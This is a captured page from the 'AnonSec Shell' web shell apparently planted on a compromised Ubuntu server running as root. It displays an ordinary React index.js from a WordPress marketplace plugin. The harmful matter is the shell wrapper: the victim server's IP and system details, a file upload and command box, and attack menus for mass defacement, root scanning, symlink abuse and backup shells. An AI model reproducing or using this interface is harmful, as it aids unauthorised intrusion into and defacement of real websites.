AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/task/1534260/cwd/plugins/mojo-marketplace-wp-plugin/src/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/task/1534260/cwd/plugins/mojo-marketplace-wp-plugin/src/app/index.js
import './stylesheet.scss';

import apiFetch from '@wordpress/api-fetch';
import classnames from 'classnames';
import { useEffect } from 'react';
import { useState } from '@wordpress/element';
import { HashRouter as Router, useLocation, useNavigate } from 'react-router-dom';


import { Button, Card, CardBody, CardHeader, CardFooter, CardMedia, TabPanel, Spinner } from '@wordpress/components';

import Marketplace from '../../vendor/newfold-labs/wp-module-marketplace/components/marketplace/index.js';

export const App = () => {
	return (
		<Router>
			<div className="mojo-app">
				<Marketplace
					Components={
						{
							Button,
							Card,
							CardBody,
							CardFooter,
							CardHeader,
							CardMedia,
							TabPanel,
							Spinner
						}
					}
					constants={
						{
							'resturl': window.mojo.restUrl,
							'eventendpoint': '/newfold-data/v1/events/',
							'perPage': 12,
							'supportsCTB': false,
						}
					}
					methods={
						{
							apiFetch,
							classnames,
							useEffect,
							useState,
							useNavigate,
							useLocation
						}
					}
				/>
			</div>
		</Router>
	);
}

export default App;

Anon7 - 2022
AnonSec Team